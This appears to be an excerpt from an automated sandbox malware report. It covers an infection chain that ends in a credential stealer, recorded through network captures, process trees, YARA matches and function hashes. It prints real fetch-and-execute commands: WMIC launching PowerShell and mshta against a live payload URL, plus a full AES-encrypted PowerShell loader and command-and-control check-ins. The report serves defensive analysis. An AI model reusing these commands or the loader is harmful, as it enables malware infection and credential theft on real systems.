name="hwid"F79A26C7980E3B7BAC8923850305D13E--TZYAAGTHX2OJKLVRContent-Disposition: form-data; name="pid"1--TZYAAGTHX2OJKLVRContent-Disposition: form-data; name="lid"AB15g1--NEWBuild-
2024-12-16 14:19:39 UTC	1000	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:19:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0f0aes9k0q88chf6c1r7ddolbs; expires=Fri, 11-Apr-2025 08:06:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sScES3WA3zgXO5nFebUFVHnz7FsMrHQ9uUlidgR4DMQWqV41XIFXoNi4R9g4QxDFI2knYdC3TNLoPHtDpVdKFZZ0aqSjOIWuzwT3BjeE1mnN0FY1zowAutv1dV7FT6t5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f4f410ee04414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1699&rtt_var=650&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2170&delivery_rate=1667618&cwnd=172&unsent_bytes=0&cid=fdeb4464f7521d15&ts=854&x=0"
2024-12-16 14:19:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:19:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49914	104.21.64.1	443	4456	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:19:41 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G4IBZAWC9G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1074 Host: abrasigehs.my
2024-12-16 14:19:41 UTC	1074	OUT	Data Raw: 2d 2d 47 34 49 42 5a 41 57 43 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 39 41 32 36 43 37 39 38 30 45 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 34 49 42 5a 41 57 43 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 34 49 42 5a 41 57 43 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 41 42 31 35 67 31 2d 2d 4e 45 57 42 75 69 6c 64 0d 0a 2d 2d 47 34 49 42 5a 41 57 43 39 47 0d 0a 43 6f 6e 74 65 Data Ascii: --G4IBZAWC9GContent-Disposition: form-data; name="hwid"F79A26C7980E3B7BAC8923850305D13E--G4IBZAWC9GContent-Disposition: form-data; name="pid"1--G4IBZAWC9GContent-Disposition: form-data; name="lid"AB15g1--NEWBuild--G4IBZAWC9GConte
2024-12-16 14:19:43 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:19:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ti87k0qn76sbdha20e8dqs5aa; expires=Fri, 11-Apr-2025 08:06:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ChAsdm6PLjGloyfttE3LR2DWBwGh1SMNhMBXX55I7682%2F7zibaR7gfgzVTvyOJ0aRHAP%2BwR%2B8OrbcTi7krQq87H%2F%2Bv6rmQSErgsnmXpcAh6WU%2FyfYhFYhWutJl%2B24NO6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f4f4efa44c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1699&min_rtt=1640&rtt_var=657&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1980&delivery_rate=1780487&cwnd=155&unsent_bytes=0&cid=e12dbc510e4b7dd4&ts=2090&x=0"
2024-12-16 14:19:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:19:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49922	104.21.64.1	443	4456	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:19:44 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 117 Host: abrasigehs.my
2024-12-16 14:19:44 UTC	117	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 41 42 31 35 67 31 2d 2d 4e 45 57 42 75 69 6c 64 26 6a 3d 33 32 66 63 32 34 37 63 65 65 35 63 37 36 32 61 37 61 66 36 66 36 33 30 34 32 61 32 63 62 63 36 26 68 77 69 64 3d 46 37 39 41 32 36 43 37 39 38 30 45 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=AB15g1--NEWBuild&j=32fc247cee5c762a7af6f63042a2cbc6&hwid=F79A26C7980E3B7BAC8923850305D13E
2024-12-16 14:19:45 UTC	1008	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:19:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ttp55crgbc37cuejlek9dpglel; expires=Fri, 11-Apr-2025 08:06:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i24gtUSuPLyX0k%2BQK73hb69cg%2BNUjK0DMsieeY8h9mGFeCnpZcezdd%2BivYJzXUrcd%2BlNggGTD5uLxdUoMm2kgg5xjgnKYtjOVRClXDUkDqZ3HtMYTAVDhRB91EXIoGpE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f4f642ad07c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1972&min_rtt=1955&rtt_var=767&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1015&delivery_rate=1395793&cwnd=218&unsent_bytes=0&cid=3c1a80140f3da1d9&ts=798&x=0"
2024-12-16 14:19:45 UTC	54	IN	Data Raw: 33 30 0d 0a 72 38 45 62 79 32 45 67 43 5a 42 36 2b 2f 42 38 4e 43 55 51 71 44 75 4f 6a 77 4b 49 44 7a 68 47 6b 4f 78 47 48 79 2f 61 31 4b 37 30 6e 41 3d 3d 0d 0a Data Ascii: 30r8Eby2EgCZB6+/B8NCUQqDuOjwKIDzhGkOxGHy/a1K70nA==
2024-12-16 14:19:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:18:00
Start date:	16/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W\S2\mhte https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler"
Imagebase:	0x7ff69b070000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:18:00
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:18:00
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 . \W\S2\mhte https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:18:00
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:18:03
Start date:	16/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\mshta.exe" https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler
Imagebase:	0x7ff76c200000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:18:05
Start date:	16/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:18:06
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = [System.Security.Cryptography.Aes]::Create();$Cfy.Key = HTJ($ddg.SubString(2656));$Cfy.IV = New-Object byte[] 16;$lYnMwi = $Cfy.CreateDecryptor();$hDJjjmSW = [System.String]::new($lYnMwi.TransformFinalBlock($TSqhDzeQ, 0,$TSqhDzeQ.Length)); sal fd $hDJjjmSW.Substring(3,3); fd $hDJjjmSW.Substring(6)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:18:06
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:18:10
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:18:11
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	09:18:11
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1604,i,11053159209440612448,1965292179888694610,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	09:18:16
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\JIKJCBEX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\JIKJCBEX.exe"
Imagebase:	0x400000
File size:	2'073'531 bytes
MD5 hash:	AD0D6C4462BD810C17DBDBA9E8556B69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:18:17
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\pyexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\pyexec.exe"
Imagebase:	0x400000
File size:	29'152 bytes
MD5 hash:	B6F6C3C38568EE26F1AC70411A822405
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:18:41
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe
Imagebase:	0x400000
File size:	29'152 bytes
MD5 hash:	B6F6C3C38568EE26F1AC70411A822405
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:19:00
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:19:00
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:19:19
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x3a0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.3108211870.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.3028941113.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.3029295383.0000000002B09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.3029187788.0000000002B08000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.3028941113.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.3030211011.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000003.3053185280.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 000001B7093C0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.2438464429.000001B7093C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001B7093C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_1b7093c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 7cfd3736d831705d54b8aefbc4bbf041b106fd702767c2aaac757a1fb25395b0
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 3090025449994795D81825950C4529CA040A3C9250FD44481942690284D64D02D61652

Function 000001B7093C0FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.2438464429.000001B7093C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001B7093C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_1b7093c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 7cfd3736d831705d54b8aefbc4bbf041b106fd702767c2aaac757a1fb25395b0
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 3090025449994795D81825950C4529CA040A3C9250FD44481942690284D64D02D61652

Function 000001B7093C0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.2438464429.000001B7093C0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001B7093C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_1b7093c0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 7cfd3736d831705d54b8aefbc4bbf041b106fd702767c2aaac757a1fb25395b0
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 3090025449994795D81825950C4529CA040A3C9250FD44481942690284D64D02D61652

Analysis Process: powershell.exePID: 1892, Parent PID: 7112COMMON

Executed Functions

Function 00007FF8486746DE Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2431179701.00007FF848670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff848670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7c8925fb1a85b6201d548abc7bef61209256b9e8a8efe4c03ddf85a218a3810
Instruction ID: 78b3c9af94a9095e31310ad5b982fa3ba8800c07987ea49f13a358d12dd8f749
Opcode Fuzzy Hash: a7c8925fb1a85b6201d548abc7bef61209256b9e8a8efe4c03ddf85a218a3810
Instruction Fuzzy Hash: 3C614961E1EECA5FF7D9AA2C146D2B976D1EF45690F4801BEC90DC71D3EE08E8058385

Function 00007FF8486738CB Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2431179701.00007FF848670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff848670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3fb15f3f013ac3d502dc39c36fa0a124b710cfda25ff3b94c09847f2e839c24
Instruction ID: 5c2163909106090c8e9ad559726bb94ea58a4e3ce1892931e525277bc537eed2
Opcode Fuzzy Hash: b3fb15f3f013ac3d502dc39c36fa0a124b710cfda25ff3b94c09847f2e839c24
Instruction Fuzzy Hash: AC516462E1EBCA5FE3D9A63C28580707BD0EF46690B4901FBD048CB2D7ED089C458396

Function 00007FF84867472A Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2431179701.00007FF848670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff848670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91cb2e604761734eb05f66c348443144fd13c7c91b1b98bb94c38dbd7b47a125
Instruction ID: a622a8e932c4167a008a656126dd89564d0fcf4790f729846aa01ee2c0eafc53
Opcode Fuzzy Hash: 91cb2e604761734eb05f66c348443144fd13c7c91b1b98bb94c38dbd7b47a125
Instruction Fuzzy Hash: 2B410662E1FACB5FF3D9A628186D27866D1EF466D0F4801BAC91DC71D3DE08D845428A

Function 00007FF8485A43C5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2429863138.00007FF8485A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8485A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8485a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: e5c9ea8aedf799f69c62f0cb96192b33c9053eefe28d7368a8160ce7db06b67c
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: A301677111CB0C8FD748EF4CE451AA5B7E0FB95364F10056EE58AC3651D736E892CB45

Function 00007FF848670758 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2431179701.00007FF848670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff848670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d6ec91e353bdc054a5927fa8e464a1d95865164a34ef52abe7cd4be3cade53
Instruction ID: 0ccb5b2d948546abc9452a517f4bbb5384f684a22ea3b5455022caa616518755
Opcode Fuzzy Hash: 35d6ec91e353bdc054a5927fa8e464a1d95865164a34ef52abe7cd4be3cade53
Instruction Fuzzy Hash: 59E09222E0D9592FE7E1BA9C241D1F86691DB643A1B4401B6DA0CC3181E910981046E6

Analysis Process: JIKJCBEX.exePID: 8188, Parent PID: 1892COMMON

Execution Graph

Execution Coverage:	17.7%
